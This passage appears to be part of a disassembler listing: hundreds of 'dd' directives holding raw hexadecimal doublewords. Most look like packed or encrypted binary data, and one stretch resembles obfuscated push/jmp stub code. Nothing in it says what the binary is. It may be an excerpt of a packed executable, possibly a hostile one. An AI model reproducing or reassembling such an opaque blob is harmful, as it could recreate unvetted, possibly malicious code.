		dd 63281786h, 318C159Ah, 0C23D14AAh, 0FAF79116h, 5A2046CAh
		dd 5B426374h, 9CEA1F88h, 31F08C10h, 62DAC086h, 8DF65B42h
		dd 91EBD290h, 9430B4C2h, 163B20BDh, 3B61C3D7h, 68000001h
		dd 0C311AD31h, 4017B337h, 9C81DA4h, 2744705Eh, 0C2C460E4h
		dd 0A7A400CFh, 22CE245Dh, 0B877E063h, 48286ECAh, 5A57B52Ch
		dd 8C0CF69Ch, 7D776322h, 3B528736h, 7521C437h, 50654F2h
		dd 949A8046h, 4DB66322h, 29C850h, 11CF0000h, 0B07635B0h
		dd 6322648Bh, 48EE3CA5h, 6322645Eh, 0D584CFC9h,	0C4371780h
		dd 9016h, 3B311F00h, 0D2D9AB15h, 31BCEDEAh, 37C311ADh
		dd 40CC1AB0h, 46D220BCh, 0D44F26C2h, 0C23C68E6h, 7E7BB21Ch
		dd 427D1534h, 55F1755Bh, 6DFE27Eh, 2E668147h, 57456325h
		dd 65D01E98h, 87110E5Fh, 2CB35F1Eh, 0BC43BF96h,	43781A9Bh
		dd 438F4339h, 9E7875h, 0E68h, 0AE18505h, 986F098Eh, 22F99B1Ch
		dd 0B18820A6h, 4118AE35h, 1CA3AB38h, 0B033AF86h, 3DBF3B12h
		dd 0C64AC69Dh, 57AE532Ah, 2818AB91h, 0B13ABF63h, 3D14AA31h
		dd 0CAA13DC1h, 11AD314Dh, 0C78D38C3h, 5B4262E1h, 0FD594FDh
		dd 5B426329h, 0AFDFDC45h, 0E67E042Bh, 0DA5EDAB1h, 50D37F3Eh
		dd 666364B2h, 20C5FCA8h, 982EB561h, 1D4C494Ah, 2277EE57h
		dd 0CAA10A63h
		dd 7213Ch, 0AA31B700h, 3620C614h, 8C5B4263h, 4A22535h
		dd 0C180B5B6h, 280FE6FBh, 32F15A63h, 8F660286h,	0BEE36814h
		dd 6F6CA137h, 0A795BB3Fh, 6147546Fh, 6A502AA4h,	8663277Bh
		dd 0E9AE81Dh, 1BE7F187h, 30754452h, 0DA6B856h, 47C70000h
		dd 0CB50CCA3h, 5DDE5A31h, 0E268E4BBh, 70F7734Ah, 0E9FA03DAh
		dd 7148DE65h, 0FDD472F5h, 885FFF81h, 15EC880Ch,	6D531970h
		dd 81632819h, 0AA3173FCh, 3DC13D14h, 43C753A1h,	6AFAE8A7h
		dd 0A135ECBEh, 5E932FB3h, 9017A361h, 9E20ACFAh,	0EFAFB0FEh
		dd 0F47FCD6Dh, 4268482Eh, 17FB645Bh, 0E4FF0251h, 27AB3B8Ah
		dd 0C217B48Bh, 58C3D713h, 1Ch, 0AF0B661h, 265B4274h, 178FC0BDh
		dd 5B426E22h, 0FDF67143h, 42EEFFFFh, 0F62724BCh, 63058632h
		dd 63321C66h, 0FDA95B42h, 9D1FDF77h, 11B000FDh,	424F15D4h
		dd 4E632810h, 0F67A26E5h, 8307835Ah, 439DB5Ch, 0DA32AB6h
		dd 44E61D03h, 0B2502A75h, 0CE0h, 92690D8Dh, 20F79116h
		dd 0AA8123A4h, 3910A82Eh, 0C9A036BDh, 0A42B23C0h, 38BB370Eh
		dd 0C547C39Ah, 4ED24E25h, 0DF36DBB2h, 281A3319h, 39C24763h
		dd 0C311AD31h, 0E1C78D38h, 0FD5B4262h, 290FD594h, 455B4263h
		dd 2BAFDFDCh, 5A418Fh, 5A125B5h, 1644912Eh, 17D2C3D7h
		dd 0D9000000h, 67018632h, 3C8A20A7h, 0FFF43E3Bh, 765B426Dh
		dd 0FFFD47A4h, 44321FFFh, 0DC96E610h, 96E6E36Ah, 50FBBA2Bh
		dd 3B423A4h, 0B0D6E398h, 63ADAADFh, 6322A62Ah, 12BE7DE6h
		dd 37F5F28Eh, 229DA891h, 4A191363h, 37283E1Bh, 1BC5CC4h
		dd 0B9650000h, 4C4D9B33h, 5D171E4Fh, 0FE5B4263h, 0F69216BEh
		dd 61CB4937h, 97655FEBh, 5006D2CAh, 8582B773h, 0A23EC23Eh
		dd 9E2CAE54h, 0A86E5B42h, 0AD49CDDDh, 169743EEh, 4B252674h
		dd 5B429E65h, 8B511079h, 5B429EA5h, 0C5350B9h, 0C660E591h
		dd 9F4E79C9h, 0A541C551h, 0C8F3BE6h, 451F206Eh,	5B429E5Fh
		dd 0CE15127Bh, 0FCE2A853h, 105B429Dh, 0F67AAAA7h, 79AE4CCFh
		dd 9F0B852Bh, 0BCB65B42h, 29A3B8E9h, 33F9C3D7h,	1, 0C311AD31h
		dd 4017B337h, 0BB3D1DA4h, 97CCCD1Bh, 69D912D8h,	0BFB36322h
		dd 1E6CA139h, 22698E78h, 0B4FFF963h, 3714D005h,	3946C4h
		dd 114D0000h, 0B07635B0h, 6322648Bh, 48EE3CA5h,	6322645Eh
		dd 88A36C9h, 8ED56B68h,	36D05501h, 17F3E839h, 0D682C437h
		dd 0CA82C51h, 7BFD89D7h, 578C8DDBh, 0B4D25Ah, 31D90000h
		dd 37C311ADh, 0AF5B1AB0h, 0E5850728h, 5F619697h, 8924F9ECh
		dd 6F2D2A99h, 75C35FE3h, 0F2C965E9h, 4282C55Ch,	2891155Bh
		dd 5CDDFA63h, 696B6CBAh, 99CE59A9h, 10A82EDAh, 7DC4C1C2h
		dd 4605E0E1h, 259A6580h, 0C382EB63h, 0B42D9017h, 4F10FC3Bh
		dd 0DB572E63h, 0FAB4BE54h, 0D17543B7h, 0AE259F7h, 0B8B0000h
		dd 8F149067h, 21A21EF5h, 0A62CA87Fh, 34BB370Eh,	25BEC79Eh
		dd 350CA229h, 0C19836B9h, 4C23C345h, 0D9B04CD0h, 3117DD34h
		dd 4D63281Ch, 0AA313FC8h, 3DC13D14h, 0ABF98F16h, 239E75AAh
		dd 62CCB278h, 753B5B42h, 5B42638Fh, 0BF2842ABh,	873291C2h
		dd 4262DBC1h, 8986EF5Bh, 0EB39D559h, 683FDB5Fh,	3ADDAh
		dd 49B45500h, 0EBAA3B86h, 5E1EBC3Fh, 0ECED3BDDh, 0FEFAC0EFh
		dd 9263280Fh, 0AC15F529h, 7FB47A39h, 916B0832h,	4A34DA28h
		dd 0C05B47F2h, 0C4509E3Eh, 0CD58A63Eh, 47F22107h, 0D8D43D5Bh
		dd 9E647342h, 5B47F2B8h, 6B366BD4h, 66732271h, 0B4C3D29Dh
		dd 31Dh, 632D17BBh, 0AE895B42h,	0FC5B4263h, 9B6120C5h
		dd 6322901Ah, 21030D76h, 16754166h, 0A069E3Ch, 0E7670000h
		dd 6BF06C43h, 0FD7EFAD1h, 8208845Bh, 109713EAh,	499AA37Ah
		dd 11E87E05h, 9D741295h, 28FF9F21h, 0B58C28ACh,	0DF3B910h
		dd 2163281Dh, 0AD31139Ch, 8D38C311h, 4262E1C7h,	9794FD5Bh
		dd 0AC6B7A47h, 280FEDE6h, 471E8763h, 10CF16ABh,	0DBC554Ah
		dd 0FFBE276Bh, 0FCA8D053h, 19FFD97Bh, 8F5B4263h, 20216F0Bh
		dd 91689D06h, 426439FBh, 0B6398F5Bh, 0E8D609F7h, 0BF30B856h
		dd 0B910F1BDh, 46439636h, 620083FFh, 68048814h,	62E38F1Ah
		dd 747172C0h, 89489D24h, 0B43556DDh, 8EC3C412h,	0BF9C6291h
		dd 0D1632272h, 45985E68h, 0D5AF7541h, 95337h, 0F69A1A00h
		dd 841EA31Fh, 0EB031ADh, 9D35BB37h, 2DC34AC6h, 0B8964D56h
		dd 48C49B31h, 0D45027C5h, 5FDBB252h, 0C3683FDBh, 1CC0A66Ch
		dd 57DC6328h, 35B011CEh, 0FBBB076h, 6CD56328h, 0E07E01ADh
		dd 0CAB07621h, 0E663280Eh, 0BD39807Dh, 31DD9C3Ah, 581613ABh
		dd 0BE4515ACh, 0A4D9DA28h, 0BC261FE5h, 0F9626B0Dh, 23C2FFABh
		dd 8EED9E64h, 2E976322h, 41615424h, 0EB896375h,	8D8h, 9A711595h
		dd 28FF991Eh, 0B2892BACh, 4118B036h, 0D1A83EC5h, 0AC331BC8h
		dd 40C33F16h, 0CD4FCBA2h, 56DA562Dh, 0E73EE3BAh, 281E3B21h
		dd 41CA4F63h, 486AD31h,	9C836264h, 0A87CCBC3h, 15992573h
		dd 0EA442B79h, 0EB870B9Bh, 32627714h, 7AB8C3D7h, 0BF000001h
		dd 0EF68B011h, 0DEC48A79h, 0F25B433Fh, 0BA1A8789h, 0A96F2E63h
		dd 6322998Ch, 5EE937A0h, 8B07EDB3h, 0BA236322h,	8B8973BDh
		dd 0FAF46322h, 3ADDFAABh, 423BC437h, 44000001h,	2A781498h
		dd 4C81179Eh, 6D6A0A8Ch, 11AD313Ch, 8CB337C3h, 20216F05h
		dd 0BB812CEBh, 5B4262D5h, 3C8380E9h, 5C421A0h, 63AE945Ah
		dd 991C5B42h, 7B78E1FBh, 6A4D864Ch, 0BE276322h,	68E0CA70h
		dd 514B6322h, 48C97502h, 358A9A6h, 99C43714h, 41h, 35B011A0h
		dd 648BB076h, 3CA56322h, 0F2B863EEh, 6322640Ch,	0FA52C20h
		dd 0CB8BC0C1h, 5C5DAB47h, 642B155Fh, 3966322h, 0EAB0D057h
		dd 63226404h, 7D7AAF18h, 0E8ED9CE7h, 2EC43717h,	89h, 11AD3135h
		dd 8FB037C3h, 0EA386D0Dh, 0F03EDA5Eh, 8544E064h, 6A3054D9h
		dd 5B426384h, 0ACFA2F98h, 0D167AEABh, 5B427F22h, 5128C448h
		dd 1AD90CB5h, 25393954h, 0FCE3763h, 6F46DC63h, 0CCD66CF3h
		dd 7543EF7Ah, 6DD97751h, 7, 8905DC80h, 17936A04h, 0A11DF496h
		dd 30AC831Bh, 333C13A9h, 81179EB0h, 0DAB2EAAh, 9838BA36h
		dd 25C145C1h, 8C52A94Eh, 63281FA6h, 31AC35BAh, 0A95514AAh
		dd 468D8A24h, 0D3AA46CAh, 11AD3156h, 17B337C3h,	0A8BC6A58h
		dd 0FAB96FFEh, 42884E34h, 0C4F9625Bh, 43F280C7h, 6F000000h
		dd 0A3A042C3h, 5518B472h, 4767EE6Ch, 42639B81h,	1146AF5Bh
		dd 0CE8DC2C3h, 6039D22h, 101611D7h, 0F15A6328h,	0DE784432h
		dd 84CAEF4Eh, 0B5A6E387h, 3BFAEBD6h, 0D437B75h,	5A8EF76Bh
		dd 3E88h, 44320300h, 0F4BF8107h, 3C8C89FAh, 0F6A16085h
		dd 2D2AC64Ah, 231A76E3h, 0F2B11A63h, 0ACB91A04h, 6663DF50h
		dd 191702A8h, 0C8CE6323h, 0F1F4CDFDh, 9DFF6C32h, 28915B41h
		dd 0A1C351h, 113E0000h,	0B07635B0h, 63280FB3h, 0E99554BDh
		dd 7A7BC965h, 42195A7Dh, 84136260h, 69B755D8h, 3D1A6B68h
		dd 5BC432BAh, 6Bh, 35B01162h, 9A1FCB76h, 0BDB90300h, 0D163280Fh
		dd 0E774B568h, 0C7F6BDBBh, 0C432BA92h, 4A08h, 0E1651100h
		dd 64028545h, 86323667h, 1A1B69FFh, 0F1F4CD1Dh,	0DC018632h
		dd 0C988BD57h, 42631D03h, 0CBC8315Bh, 0FDBD69Ch, 4CB56328h
		dd 0A32AD699h, 0F863100Dh, 0A8D9ACAAh, 0C432BEB3h, 0CDD85442h
		dd 0F87BCEh, 0D7B03h, 17820000h, 5B427F02h, 0FF249163h
		dd 320CFFFFh, 38906E44h, 96562A4Dh, 28787513h, 0C78D4C99h
		dd 6328859Eh, 570351BAh, 11BC7B6Ah, 36BBE065h, 184D4E9Ch
		dd 0E9D7D11Bh, 620E6B0Dh, 9EFB5E1h, 255B42D9h, 383987BCh
		dd 0FA48B13Bh, 0B372734Eh, 2885C8EDh, 3CFB6463h, 9A710B90h
		dd 6322C3FEh, 0DEAA89Dh, 0C933F6Bh, 0FF28A7A9h,	86BBFC62h
		dd 0B03A3738h, 311F7BDh, 3A2D5B43h, 43038E74h, 439A25Bh
		dd 0E26410CFh, 6D30F575h, 0BEF347CEh, 3FC06CE7h, 0A156A09Dh
		dd 0B5F369B9h, 42BE9531h, 28D422BEh, 0A23CC199h, 8102AE6Dh
		dd 939091DFh, 620EB964h, 836943DDh, 0F2F36863h,	6863462Ch
		dd 0D7F15AF3h, 3E9AF6Eh, 17F36863h, 8667B1AEh, 0A2FB487Fh
		dd 753BEB39h, 801CA02Eh, 0C8402EA9h, 41C60622h,	346FFA60h
		dd 72A7FF0Ch, 44922EB2h, 94164643h, 6F1BA6F4h, 255552E8h
		dd 9B4706A0h, 2B2C7A18h, 4D4AE86Bh, 0A34F0E8Fh,	0EF858220h
		dd 0F49416A4h, 7F1FA11Dh, 7A352831h, 830F5DF3h,	64146200h
		dd 752D79Eh, 1D03C974h,	31FB0920h, 2092783Eh, 45AEFB09h
		dd 367D1310h, 0C78626A8h, 0D4BE94D9h, 0B5B22FC1h, 5A48F36Eh
		dd 0F6FA3DC0h, 3D23FD62h, 0ABFB093Dh, 7708A28h,	0D725C547h
		dd 11A8D9D6h, 5DE836B1h, 418F2FB1h, 8F134340h, 47DDA5F3h
		dd 0E8744E7Ch, 0BD94C963h, 6E21BD41h, 3F162F2Dh, 78750D93h
		dd 7F0393E2h, 6AEFAFE3h, 0F6DC82D0h, 405B4262h,	169B2B7Ah
		dd 0A729A57Ch, 2A13B907h, 0A05B4263h, 0A42F7D1Fh, 4262F8DEh
		dd 0EBAB145Bh, 1DB93D6Ah, 4B99CECFh, 0D79C3EBFh, 547F82D1h
		dd 903C4B1Ah, 0CA60E70Ah, 0F8467B7Ch, 8C7238F7h, 0A05B4263h
		dd 880A3A37h, 0DA7B11E8h, 5B5B4283h, 0D7325C7Ah, 0FF75BCC3h
		dd 31C3FFFFh, 0F7AD44ADh, 0CD9AC8F9h, 6562480Eh, 157E5B42h
		dd 98D09E0h, 65371DE3h,	60535B42h, 4265B49Ah, 2A5FC85Bh
		dd 0FA7E42F5h, 0FCC2AB5Eh, 0F99519A9h, 14F7E4C5h, 4C25C3D7h
		dd 2E000000h, 8F5B1740h, 0D5D28EA9h, 35B011A4h,	0DCDDCB76h
		dd 33D55663h, 2CE2E4E5h, 44E4B7Ch, 6328700Ah, 296A1D86h
		dd 4AF65533h, 0DBDC2AC6h, 4D7D48DEh, 0ECB27174h, 6B0DDBF2h
		dd 1FF1258Eh, 52h, 452BF19Ch, 595B42C3h, 11C2F3F0h, 94BE68B0h
		dd 6A99AFF8h, 4270BEA4h, 3469D25Bh, 807A40FFh, 0FC63281Dh
		dd 45D4309h, 45CB6328h,	6B2A93ADh, 2803BFA5h, 3D72DB63h
		dd 9E10498Ah, 3C853580h, 933FEAA9h, 23247210h, 0B0E2DC26h
		dd 359E6B0Dh, 44324001h, 7F140092h, 0C7F7F47Eh,	0CD59A743h
		dd 3AD6AD49h, 0F49F5E87h, 4285482Eh, 0FEFB645Bh, 8BD009CFh
		dd 5C076322h, 2287B096h, 52D8CC63h, 366B6CBAh, 0F846AF39h
		dd 22876852h, 0C157DE63h, 0C664E773h, 4127ED78h, 5D632287h
		dd 5A292FF4h, 0CD790CD7h, 69F0B046h, 7540D6D3h,	37361744h
		dd 4185C4h, 118C0000h, 0A8D268B0h, 0A5A5832Ch, 1D52871Fh
		dd 7E73985Eh, 1A0D6322h, 7AC3A96Fh, 6ED76322h, 227BAE94h
		dd 768CC263h, 6583B0E1h, 80CE0338h, 22ABF0DAh, 12615B63h
		dd 375F7663h, 0DBA4C4h,	31AB0000h, 38C311ADh, 0C5F0E54Ah
		dd 0E8E5C1A0h, 4D9B31B8h, 53A13DC1h, 0D0A743C7h, 42971B3Ah
		dd 6F0B8F5Bh, 0AC721D98h, 5B428DC6h, 0C311B334h, 423FA8C2h
		dd 0A4F28E12h, 0E692C9F8h, 3E9C365h, 175B428Eh,	0FBA79AEh
		dd 9537B864h, 428DD5BBh, 8380E95Bh, 22B1E839h, 0A47BE463h
		dd 6D2CB908h, 0E288667Fh, 504DAD46h, 5CB7621h, 63235A1Fh
		dd 29D0D23Bh, 3D0685E9h, 0A3C40E0Bh, 0AD6B05FFh, 2FDA8544h
		dd 44BF8369h, 312E975Bh, 0DE47A01h, 6A740A91h, 72A316C2h
		dd 1811FF9h, 6C000002h,	0F57148ECh, 83FFD670h, 0D896002h
		dd 9C18EF87h, 9FA87F15h, 0ED830A44h, 79179A16h,	4A426A2h
		dd 912DB12Dh, 0F8BE15BAh, 63282512h, 3120A92Eh,	0C13D14AAh
		dd 36E2A13Dh, 0D41B18B0h, 35B01157h, 648BB076h,	3CA56322h
		dd 645E48EEh, 0CFC96322h, 0A04CF784h, 0C1A7811Bh, 37632263h
		dd 0CACB19B1h, 9C38BCB0h, 58184D4Eh, 0E9EA38D4h, 17BE9BECh
		dd 0FBDCC437h, 0E3000000h, 9B008632h, 0DFC68802h, 726FA487h
		dd 0D422BE42h, 1DA0C148h, 0FB30317Fh, 20BD4E3Ch, 0ABCA33F5h
		dd 0A7ABA34Bh, 9A97CC77h, 0E0A651DCh, 5B4351FAh, 51C5AB71h
		dd 70D95B43h, 45DB6256h, 0C4C1F6F7h, 43575B7Ah,	2FCB4F5Bh
		dd 0A242C470h, 1D03C954h, 315B434Eh, 29193C8h, 0D5DCAA77h
		dd 2CA7EEEBh, 9D5DFF80h, 4F7F7C1Ah, 35E12FCBh, 0D49A598Ch
		dd 6322CF83h, 0B14D248Dh, 5016D510h, 6B0586D0h,	0E8A005F3h
		dd 0EB39D75Ah, 191CE8EAh, 37A02A27h, 75DFCD78h,	482EF48Ah
		dd 645B4559h, 13A1F9FBh, 32B9E9E6h, 0C249C59Ch,	0D134222Ch
		dd 290372A3h, 0D38Bh, 761A9A00h, 49E239Fh, 8E30B12Dh, 1DB53BB7h
		dd 0AD43CA46h, 3816CDD6h, 0C8441BB1h, 54D0A745h, 0DF5B32D2h
		dd 43E8BF5Bh, 264026ECh, 0D75C6328h, 47AA314Eh,	6AAA330Eh
		dd 0DE419D1h, 0B2710D91h, 0E8E58306h, 0AD3124A1h, 0B337C311h
		dd 40C44017h, 0CD51CDA4h, 7A3DE331h, 0B465E3D4h, 0C347571Eh
		dd 29D55027h, 0C0083BA6h, 1527AC0h, 807D7ECCh, 0A263CC50h
		dd 5DE2E67Ah, 0F13FD95Eh, 3886BBF0h, 408E26ACh,	410733B4h
		dd 65E4265Bh, 83D1066Fh, 15D575F7h, 1AA5F393h, 0E4266E54h
		dd 0FE198265h, 684CD1A4h, 0D6C4D3A2h, 0AE0536CDh, 0EC4D067Dh
		dd 319F0CE5h, 4BCFFFFCh, 0D85CD8AFh, 1150EE3Ch,	0CB000000h
		dd 98038632h, 435DB3A1h, 0D52358A7h, 2B78D7D4h,	0BF0DB131h
		dd 0C513AF33h, 0C917B739h, 0CE1CBA3Dh, 0D725BB42h, 0E02EC44Bh
		dd 0E836CE54h, 0EB39DB5Ch, 0F240DA5Fh, 6C6D6863h, 34890000h
		dd 6D246824h, 2C890000h, 0E0895024h, 405h, 42D00h, 4870000h
		dd 4895C24h, 0AEE66824h, 2C8B07E5h, 4C48324h, 24048B54h
		dd 4C481h, 50570000h, 0C789E889h, 8788958h, 2434FF5Fh
		dd 4C48158h, 8B000000h,	8951242Ch, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 8385E95Ch, 0D0A9FFFBh, 51F4585h, 0C618759h
		dd 0B80B5931h, 7E5C461h, 0E0FFC503h, 257B9645h,	64F252BAh
		dd 14C6DAFDh, 3C4DF6E6h, 6F44BF94h, 3A6D5E2Bh, 2B3EB46Eh
		dd 4F4D7AB9h, 2A7103C7h, 4BC54866h, 4E3E43E8h, 283522D3h
		dd 3F5AF123h, 19B61AD8h, 8AA61A0h, 6562B1A8h, 573C1425h
		dd 3FD40C8h, 175D2DBCh,	86027CAh, 198B1F48h, 3E053928h
		dd 705F7ACBh, 1058863Ch, 598A610Ch, 655D5F82h, 6C1BBC4h
		dd 21B98580h, 526BD069h, 1CE9h,	82155D00h, 0E7339C14h
		dd 77h,	4 dup(0)
		dd 0D6CE900h, 31680000h, 0E907E5C7h, 0FFFABB57h, 0E5C82068h
		dd 0BB4DE907h, 7B68FFFAh, 0E907E5C9h, 0FFFABB43h, 0E5CAD968h
		dd 0BB39E907h, 8968FFFAh, 0E907E5CCh, 0FFFABB2Fh, 0E5CE7768h
		dd 0BB25E907h, 0EA68FFFAh, 0E907E5CFh, 0FFFABB1Bh, 0E5D14868h
		dd 0BB11E907h, 0DF5FFFAh, 80673953h, 0F7DCAEC8h, 6A53253Fh
		dd 0E4C698B2h, 12BB102Ah, 67813B1Dh, 0DDF7B195h, 5670280Bh
		dd 0CAE49E84h, 0D5DCFFEAh, 0A121D4DBh, 0ED19582Fh, 0E15E9854h
		dd 0B8F9F46Bh, 0BE21D4A1h, 0C643656Bh, 0A14D6487h, 0D62929BAh
		dd 2FF0D6D0h, 0EBA58746h, 3F44EFE6h, 9A989D48h,	0B4E0FAB4h
		dd 95B8CF6Ch, 2E5AA769h, 0F5AF95EFh, 0FDA86043h, 9AFCB1F8h
		dd 0B99F21DAh, 16FCFAFFh, 0AFE4575Ch, 0B4FF0F52h, 3439F1DAh
		dd 6DC2373Dh, 3BF3DCB6h, 0E0F32F35h, 311C53D4h,	66000000h
		dd 4C06ECC6h, 0F64A5047h, 0C1D062Ah, 0E8A75799h, 29D47F2Dh
		dd 0CC03EF12h, 2A7D2E59h, 0CBCFDE25h, 0D6E21D9h, 3F2C5AB0h
		dd 0DA4753D4h, 91000000h, 868B452Bh, 0E7ECA688h, 444903E9h
		dd 8CA66046h, 0BAA56D71h, 692A1029h, 8EB1C880h,	29BA9D23h
		dd 465D085Bh, 0C7CB836Ch, 0FF22AB24h, 22848A3Fh, 0ABB06A50h
		dd 576ECD53h, 0DCE29A7Dh, 0FB685A7Dh, 94EE2E59h, 2F49F4AEh
		dd 71E1D03h, 4708EEC8h,	0F9FEA963h, 0FE4F2CA9h,	0B05B7F28h
		dd 17E867AAh, 0FB4E2678h, 6E280AE4h, 0D6C7269h,	456C8FCEh
		dd 3129B7E8h, 8B36EED7h, 0EFA98B85h, 3C5F9ED5h,	29B7E775h
		dd 33AAAE01h, 0E7A4FD4Eh, 5E7E1E7h, 4272724Bh, 0A68FE610h
		dd 0B0778h, 0BA745C00h,	2FE7CEA0h, 0A65E4315h, 19D1BA8Ch
		dd 914B2DFFh, 84B92277h, 0FCCEE8A2h, 72445E18h,	0EBBDD78Fh
		dd 51314B05h, 0DA6E4366h, 960821D4h, 8F492BFCh,	0FCBDA375h
		dd 96B05B13h, 0E69AC69Ch, 49931848h, 749CF0F6h,	0E2C6A0B7h
		dd 262C2328h, 0E64EA4C7h, 8E682E59h, 86E9EEA8h,	0D9E64E63h
		dd 2AD52821h, 0ADB20524h, 0D9E64766h, 3895F621h, 0D451A4E2h
		dd 0C6CF53h, 2DC0000h, 3E606620h, 868B452Bh, 0E7ECA688h
		dd 8F224584h, 0E729BAA0h, 934B8E94h, 0A29BAA5h,	0F2BD1124h
		dd 6A8419CDh, 0EDD3A5BFh, 4AD62E33h, 0FB3D6EDh,	892E5984h
		dd 0E48F492Fh, 0D3B993CAh, 171D1419h, 0C7DE5DC3h, 3EDE109Bh
		dd 90FFC8Ch, 0A3D787AAh, 0B5E12677h, 45E8565Eh,	0B87055DFh
		dd 95E8070Dh, 8C2A47Eh,	803A1CEEh, 10B0BDA7h, 0B7E5CEE6h
		dd 0A18h, 8FA9634Bh, 41ED6BDh, 7B954D32h, 0EE08C0A9h, 66803A1Ch
		dd 9173A811h, 7EBBDD7h,	7E61334Dh, 0F4DAACC6h, 5540203Ah
		dd 0D4D87F32h, 0EB85F721h, 4D6487C6h, 2929BAA1h, 0F4D6D0D6h
		dd 0FE9203Ah, 746E742Ch, 6C45688Eh, 1229BAA1h, 0FA14BFh
		dd 868B452Bh, 0CEE8A288h, 0AAC17EA2h, 5AB77787h, 0A9AE012Eh
		dd 0DA8B4C62h, 0B26A4F21h, 0EC6AFADh, 89E61309h, 0BFEB3646h
		dd 3A96FDB8h, 32A7AD0Ah, 0B4437FDDh, 536C53D4h,	0B6000006h
		dd 0D9F04FD1h, 5AA3A0B6h, 0BEC3162Eh, 770F2F5Bh, 0E7EBA589h
		dd 0D13ED8Ch, 0DA6BE3CAh, 17CFB821h, 76301412h,	0F14E7B71h
		dd 0E03D9EAEh, 0D4D35C8Ah, 61C7753h, 0D1C10000h, 0B6D9F04Fh
		dd 2E5ABA9Ch, 67CACF22h, 86AC0528h, 7FD221DAh, 86773679h
		dd 65C621DAh, 0FC74B208h, 0EAC453D4h, 0C2464C06h, 5EEh
		dd 379AC60Ch, 0B0AD6987h, 0E75ED0D6h, 9FB6759Bh, 59DEEA7Ch
		dd 6E522C2Eh, 0E08C2548h, 9FF221D9h, 698CEFF4h,	21D9E148h
		dd 2A30DB2Eh, 1C03B80Bh, 9DCEC7BAh, 31A1907h, 64A4CEE0h
		dd 0AA8E68A2h, 0EEF4EBF0h, 14777CCFh, 989E583Ah, 485FDC44h
		dd 44D1A025h, 0ACC316A2h, 1832ECD2h, 0CDA66046h, 720408E9h
		dd 0BDE715FEh, 0A6000008h, 18EA04BEh, 8D5F7931h, 4D6F0A8h
		dd 7749631Bh, 6CC1DB95h, 32ECCE43h, 0A8624618h,	21D9BC8Eh
		dd 954F3507h, 8DB09B7Bh, 21D4D824h, 2B4EE85Ah, 63451F45h
		dd 0B2ADA4A9h, 29BAA0FFh, 62792477h, 5D80A688h,	29BAA154h
		dd 7A2CD72Ah, 0E1D8DD95h, 0EA368EDBh, 5713364Dh, 912E5F63h
		dd 7409243Eh, 2E21D4DBh, 0C68066F0h, 3B9180ACh,	167F37AFh
		dd 0D7EE9995h, 5D621AFDh, 0DE016066h, 21D543DBh, 5D5B60B3h
		dd 88A3BD77h, 21D54415h, 5C7FA386h, 21D54455h, 923CE21h
		dd 92975137h, 5FF4624Bh, 0F35005CEh, 0F209C3A9h, 7B28D1C6h
		dd 0A185E559h, 7218894Ah, 371ED07Bh, 0E017797Fh, 63692106h
		dd 0B2C98369h, 7F014773h, 893A062Dh, 0A017238Eh, 2085B31h
		dd 273F6EB5h, 735C31A0h, 0CFB8B6BBh, 691B1217h,	0CEC4C983h
		dd 57014CA1h, 965C1440h, 16588372h, 0F4469B10h,	383A540Eh
		dd 16Ch, 8B452BCEh, 0FDB59A74h,	0AEFB01F8h, 1015CDB0h
		dd 0AE946EADh, 0FDF8EFF4h, 29BAA0B4h, 2E7177CAh, 29BAA083h
		dd 40F8E1BBh, 443E443Bh, 3C9FA45Eh, 0BFC47E62h,	0A26EC2C8h
		dd 1F4B6E85h, 192E5F64h, 333D7BEDh, 2A2ECB69h, 318DBAA3h
		dd 7D9CA2C0h, 9A73512Ah, 0A38CEDF3h, 75F75h, 621C0400h
		dd 0D78F7648h, 4E06EBBDh, 0C1796234h, 39F3D5A7h, 2CE1CA1Fh
		dd 0A476904Ah, 1AEC06C0h, 93657F37h, 0F9D9F3ADh, 0D6C6EB0Eh
		dd 3EB021D4h, 8B452BA4h, 0ECA68886h, 651D00D2h,	0D993794Bh
		dd 510BEDBFh, 87AAE94Ch, 29BAA12Ah, 1FB0154h, 0DBD6F91Fh
		dd 0A329BAA0h, 38A0A550h, 9E392EFh, 15656A22h, 760271C8h
		dd 6B1C5h, 7E632406h, 731ED6BFh, 92D0AEC8h, 0BD543466h
		dd 25h,	6487C607h, 29BAA14Dh, 6A476A29h, 1429BAA1h, 0E61016C1h
		dd 0C3h, 9BF0133Fh, 68F2EC0Eh, 1C22CD85h, 8B452BFAh, 0F9B19A74h
		dd 4E5FA6F3h, 5529BAB1h, 9DC0FF3Eh, 29BA9114h, 951C176Ah
		dd 0E129BA90h, 0BE13888Eh, 9B73866Ch, 2CD7A362h, 0B98BA550h
		dd 0B6191ED6h, 0ADAB838Ah, 0BDE0583Bh, 29BA07F4h, 868C378Ah
		dd 0BA086B43h, 944E3229h, 5D113F8Fh, 0C946C64Dh, 73783017h
		dd 44F3507Dh, 0BA079021h, 0E893E629h, 0A5F74C01h, 0F6F00AC2h
		dd 8B90482Bh, 0B26C4E28h, 17CFB2ACh, 8A442600h,	3B888E85h
		dd 7E358AD3h, 53352952h, 656B727Ch, 0B6D0886Bh,	0B9DF8F9Bh
		dd 4E08EE29h, 24BAE5A3h, 0B9F85434h, 0B9D71B96h, 24096329h
		dd 37BBC16Ch, 0FFFFFE51h, 2CCFB81h, 2B910000h, 3F868B45h
		dd 29BAA15Eh, 0A7F14E0Fh, 6836AEC1h, 66F3D300h,	58852C4Fh
		dd 9EF129BAh, 2107D9F3h, 0D3FF6267h, 577FE6CFh,	8FD2D8D8h
		dd 29BA110Eh, 0C8CD876Dh, 6C83A070h, 0B26A532Dh, 1D04B6ADh
		dd 4E1C5F65h, 882E5ED3h, 5F845C35h, 0B8A1EDF3h,	5AF8Ah
		dd 12CCB400h, 873F26F8h, 0FEB69B6Dh, 712912E4h,	0E9A38557h
		dd 0DC517ACFh, 542640FAh, 0CA9CB670h, 43152FE7h, 0A989A35Dh
		dd 0D5169BBEh, 0EE6021D4h, 1F452B54h, 0BAA0B5FCh, 0C36EC129h
		dd 8AF680ACh, 0A95626E0h, 765856A3h, 0EAD0A2BCh, 62441630h
		dd 0C3A5A3A8h, 775E1D02h, 18C3BABFh, 990E9714h,	20CB1248h
		dd 156AB31Bh, 3D20E1C3h, 9F19912Ch, 16C1FC3Eh, 3773516Bh
		dd 605434D2h, 1F6h, 834ED1AAh, 0BAA15160h, 2FDA2D29h, 0B39BC72Ah
		dd 0DB25DBFAh, 7269ACB2h, 8FD7540Bh, 4F7BD12Eh,	68AADA4Ch
		dd 1CEh, 0E7BC4975h, 5E621C00h,	0BCC2473Fh, 8ECC69Ah, 1B99C4Eh
